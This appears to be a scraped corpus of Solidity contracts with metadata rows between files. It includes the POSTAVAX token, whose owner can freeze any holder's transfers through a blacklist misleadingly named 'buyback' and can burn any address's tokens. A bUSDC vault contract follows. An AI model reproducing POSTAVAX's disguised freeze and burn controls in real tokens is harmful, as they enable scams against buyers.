add(0x7c2468c14a7ea994c89e2e4ddd6d2d624b67a96e7ccec4f27a5e0122531291c, mulmod(add(0x2d51937feb119772693523625e23756d172e996d1cfb82a258580bd51c15e33, mulmod(add(0x4ee32b2ff29b0918618f173c4e5dc3b606a1ca2e0eb989257e0bf78dd2e9589, mulmod(add(0x217df85b26b6b3bfc67bec919866b6e146621c30685a31e8c93eaa27d5dbaf5, mulmod(add(0x38269de0c80a2d8f4bef1d5e76805d1e412fef7b18886279e98c57a0fe64627, mulmod(add(0x32cad92232ea7886b829887e6ca4ae084800803277076107b1078feb66e95bf, mulmod(add(0x36ac6cfd4f2ef6be5b1e83cf9e36e894b2575a8f4690c14484a17c222ec3c00, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7dcfd5001e21e030b006d54c7fe0f7ca97a2c18d4e00ba92c005705a4f0563d, mulmod(add(0x2781266a2070c9d3f045010a32c98ce3e0765446e3ee20eacd73a0dc0c7c2c2, mulmod(add(0x6d567c1dbb663fb2fd92140cf66ea33a19cda580d18c10fe56a62e5bd3f47b1, mulmod(add(0x3ba2c93d59d6a361b9ac28d93e54d775b040bd7fca9ac72339ea4388c533dda, mulmod(add(0x4fff8b45f7ede0580424c4e2c75213c4c42ec6c68266c8d5d750a2863bd474a, mulmod(add(0x39c92f0c55d99aa6b082d21129a9402e6b0fe38a639a8140d76ebee9dc45877, mulmod(add(0x602aca232b11ad63241b5f401c368acb1e9cfd4e5fc8ae699491d9c51b4db18, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xdf6c1013f3076e6044f0a7032e0bf80833f3c7d9eb0c3eb1f3c2a37314d19a, mulmod(add(0x5ebd9b268cc66bb85a5e67a6b9d5fdbeba8b3672491068ef43b688a3a043a33, mulmod(add(0x48ed57151b6dc68b039dc327f79bc2c26db62ff957809c5538360facc04d9c3, mulmod(add(0x4c5592288cc342232d76c80e858c08ecbfde64b747637ccc9a2734e90f85264, mulmod(add(0x72f959288185bd36ca4e23472ed7a2577f8e5f0ef0c0d5df6f63e60f40ba307, mulmod(add(0x2433d40f2b8f9461b5368cb396f7604999a735414d3537ed6f1451f1fe93cb3, mulmod(add(0x2fe4c112d7bfd4ad5f81ecdc4b30cf73aa51df4e4ba6d255a0e3eee283aff46, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x66a032c182ae70dd4487897d0c79dd860a25d21c61e3aeef8b9fa45349dee89, mulmod(add(0x31cdca47c96b32e99077a96aa5cd73ec9c4da04212667805c82dff3e498f4ed, mulmod(add(0x5f27bcacc10845ad41cb26244112faa8b91d46d97024445f50ced796ac5a93e, mulmod(add(0x7b86849a979796096f7d7b46eebaf00913a082c638c5b2bfdedbcd78c480272, mulmod(add(0x33381003a653f0327cbdd8a11252ffe714e1061ee214329cb99e667c835af97, mulmod(add(0x5d5fbd560f7bf1e97190f888fa43b32db1e8070f046d6016b536b94d1473a57, mulmod(add(0x5f0cb66613216a1339c1cd15239b7f03c1d4b9098a931f65ae50b877f861880, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x689fb22cd95d6f1868a4e3cd6ef1bba9f974931f76153e73038ff5ae7d09018, mulmod(add(0x777be5852ea7798899d4750e9decd1430bdad6a8b0d1827a7a89ce6f1afd89a, mulmod(add(0x506f990d7037060dea08ed53c5b17483ca8a7c58f94ba5e64fae258be4c78ed, mulmod(add(0x48b0cc6241c99407bb346db57db9cf82b2e66d1fcc1d756889a4f4b4bb8b396, mulmod(add(0x2c2c70075ac99cfe68a7354ed29842c5207bbdbd09dbbd225ea93d0c07fd9f6, mulmod(add(0x62ea67803c421a4bbdc672d556bca219fd24e7145cb3e9113a625eeb4459254, mulmod(add(0x148523eabde5554538a1114351f3d8730d4a4d003311c7b57ce9e709afeeca5, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xf09069dc6a2745587b447ae03ebd6524aa9757f1090a92dc5e7ce8db848195, mulmod(add(0x2cde734d2a82619ba69ca4f5ca5035f699a1e34b47560d761780546c9b04d44, mulmod(add(0x4e0f90743d3df3d3c4aeb80e7f6db457620430ff28475c6194c757f81927dc5, mulmod(add(0x44094c265809e3d5765071826547999dce8ba7058a7c1b1301294d8291949c, mulmod(add(0x4d62e1ef04cb039a58dd8cb8c37dceb78b10fd84bbec6302c964b899a957d02, mulmod(add(0x28c74f03f409c942d16a773fde01b3f0bec544b42c1d46944db6253561e1ac2, mulmod(add(0x560fef0ed77bc94e16b9d9a21bec0ceadf81b26fe683b9c74b31e2d72a4c92e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x6d100d3db14939bb442e5f5ce6a05939f201837007331536440a57c2bf2b609, mulmod(add(0x21d59ca7451d83d78ab4d9d17a662367ac84b555866ae92d036d71de22872bf, mulmod(add(0x79c066efe4c22c6e9e097e84401e183d3c45c645d986ed640a8faf8fd4dd096, mulmod(add(0x6ade7c482d201c23145e3890086b22ab0d43495f5c83b1672316c10ca52af0b, mulmod(add(0x78e74ffaf944c363f3fc42cedaea8a9a450ebaac98bf1327590a11e064bd76a, mulmod(add(0x5b4be8af83915fd955ba32de729f6f2aef6c76501d82ee325d72d620bce8b7b, mulmod(add(0x5522f48902001bf41de34be900783ac957fd867cca0f35666ca491ea89d8fb3, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2c37f85ac7b1aab52ce3d28bfc65c65b7d4ffd000757c07fc493d183b7bb582, mulmod(add(0x58fa31f9a4a7e8b238898eb1296ec55e3e2000a48a2edc8e65d260d31bfd7bf, mulmod(add(0x4a4eb8f57c99e931a666de76c20173adcde82ff59fd8ecaf8b8c05e29b63fc9, mulmod(add(0x3c5581c15733dcc4d548aa0a6e648e075e9be412680a76a556f91ae5f01e44e, mulmod(add(0x2a7cd1fb12f896bff4d3db49ee74a51e970e3e386c2c8e7622412a6156a300d, mulmod(add(0x179e4b1e4817460085d47376a1971fdcb0287408cc7d11fb62cc3785772249c, mulmod(add(0x7e5bc177982061f124cbe521c713c24438aa021fe6928d82452e44f6cdcd631, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x533a5a2ebd098297604e96118f2007ddd12af50edd525e9e5a0b154e620b2e5, mulmod(add(0x38bff358ccfd92418537a9b9858df499d2c44404c1886b109edb14c897e74fa, mulmod(add(0x8940bc9dc45fd06ce4046337963c849324bbe5f82632b94972c0ccb205480d, mulmod(add(0x67c2a0e19b59921666716fe2b3f9c7f59c4da17d993956eb87eece7ef542269, mulmod(add(0xbece573771924d045b75bb992a87b26ab067a0f2dba4d1a9efbe5029963533, mulmod(add(0x47c3222376f8f18dc6e82eebaab03fcf4c425acd901a7bf9841a3aba54b82a6, mulmod(add(0x461b788a24347588e4f8d4f2d66640f31d6b580223a21919ccef9480987db1f, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x312411292b7fe7eee015fcfaab65b611bc2b9f9498489fc3c1452862902bbf, mulmod(result,
x, PRIME))
}
return result % PRIME;
}
}
| 157,981 | 11,314 |
303b1fe84b02643c5524f4aaaee4d5f676d2fa29fd2a4f177a794956f00e5311
| 17,227 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c2/c284ff67822de05a3e1fff78e1f73b5de8b67538_POSTAVAX.sol
| 3,939 | 15,653 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract POSTAVAX is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBuyback(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function buybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unbuybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 97,545 | 11,315 |
8427b86adfab894d4c37a1ffbe091729dc0a2461566a113a2909632d6429483b
| 14,678 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x08BED6851CADc4EFc91147E3Ca63C39406B31a2D/contract.sol
| 3,748 | 14,188 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() override public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) override public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) override public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) override public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) override public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) override public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Venus {
function deposit(address _userAddress, uint256 _wantAmt) external returns (uint256);
function withdraw(address _userAddress, uint256 _wantAmt) external returns (uint256);
function sharesTotal() external view returns (uint);
function wantLockedTotal() external view returns (uint);
}
contract bUSDC is ERC20, ERC20Detailed, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
uint256 public pool;
address public token;
address public venus;
enum Lender {
NONE,
VENUS
}
Lender public provider = Lender.NONE;
constructor (string memory name_, string memory symbol_, address _token, address _venus) public ERC20Detailed(name_, symbol_, 18) {
token = _token;
venus = _venus;
approveToken();
}
function deposit(uint256 _amount)
external
nonReentrant
{
require(_amount > 0, "deposit must be greater than 0");
pool = calcPoolValueInToken();
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
uint256 shares = 0;
if (pool == 0) {
shares = _amount;
pool = _amount;
} else {
//0.1%(999/1000) enterance fee
shares = (_amount.mul(totalSupply())).div(pool).mul(999).div(1000);
}
pool = calcPoolValueInToken();
_mint(msg.sender, shares);
rebalance();
}
function withdraw(uint256 _shares)
external
nonReentrant
{
require(_shares > 0, "withdraw must be greater than 0");
uint256 ibalance = balanceOf(msg.sender);
require(_shares <= ibalance, "insufficient balance");
pool = calcPoolValueInToken();
uint256 r = (pool.mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
uint256 b = IERC20(token).balanceOf(address(this));
if (b < r) {
_withdrawSome(r.sub(b));
}
IERC20(token).safeTransfer(msg.sender, r);
pool = calcPoolValueInToken();
}
function recommend() public view returns (Lender) {
return Lender.VENUS;
}
function approveToken() public {
IERC20(token).safeApprove(venus, uint(-1));
}
function balance() public view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
function balanceVenus() public view returns (uint256) {
return Venus(venus).wantLockedTotal();
}
function rebalance() public {
Lender newProvider = recommend();
if (newProvider != provider) {
_withdrawAll();
}
if (balance() > 0) {
if (newProvider == Lender.VENUS) {
_supplyVenus(balance());
}
}
provider = newProvider;
}
function _withdrawAll() internal {
uint256 amount = balanceVenus();
if (amount > 0) {
_withdrawVenus(amount.sub(1));
}
}
function _withdrawSome(uint256 _amount) internal returns (bool) {
uint256 amount = balanceVenus();
if (amount > 0) {
_withdrawVenus(_amount);
}
return true;
}
function _supplyVenus(uint amount) internal {
require(Venus(venus).deposit(msg.sender, amount) > 0, "VENUS: supply failed");
}
function _withdrawVenus(uint amount) internal {
require(Venus(venus).withdraw(msg.sender, amount) > 0, "VENUS: withdraw failed");
}
function calcPoolValueInToken() public view returns (uint) {
return balanceVenus()
.add(balance());
}
function getPricePerFullShare() public view returns (uint) {
uint _pool = calcPoolValueInToken();
return _pool.mul(1e18).div(totalSupply());
}
}
| 253,476 | 11,316 |
b9e910ff9c84311d25bf517f4cab9eb144776ade3ab0d8431a3c0a5dbdafaaad
| 29,502 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c3/C318945262Eb7ff4fC9b10Ac18d2e057785Bf959_Billionaire.sol
| 5,207 | 18,745 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
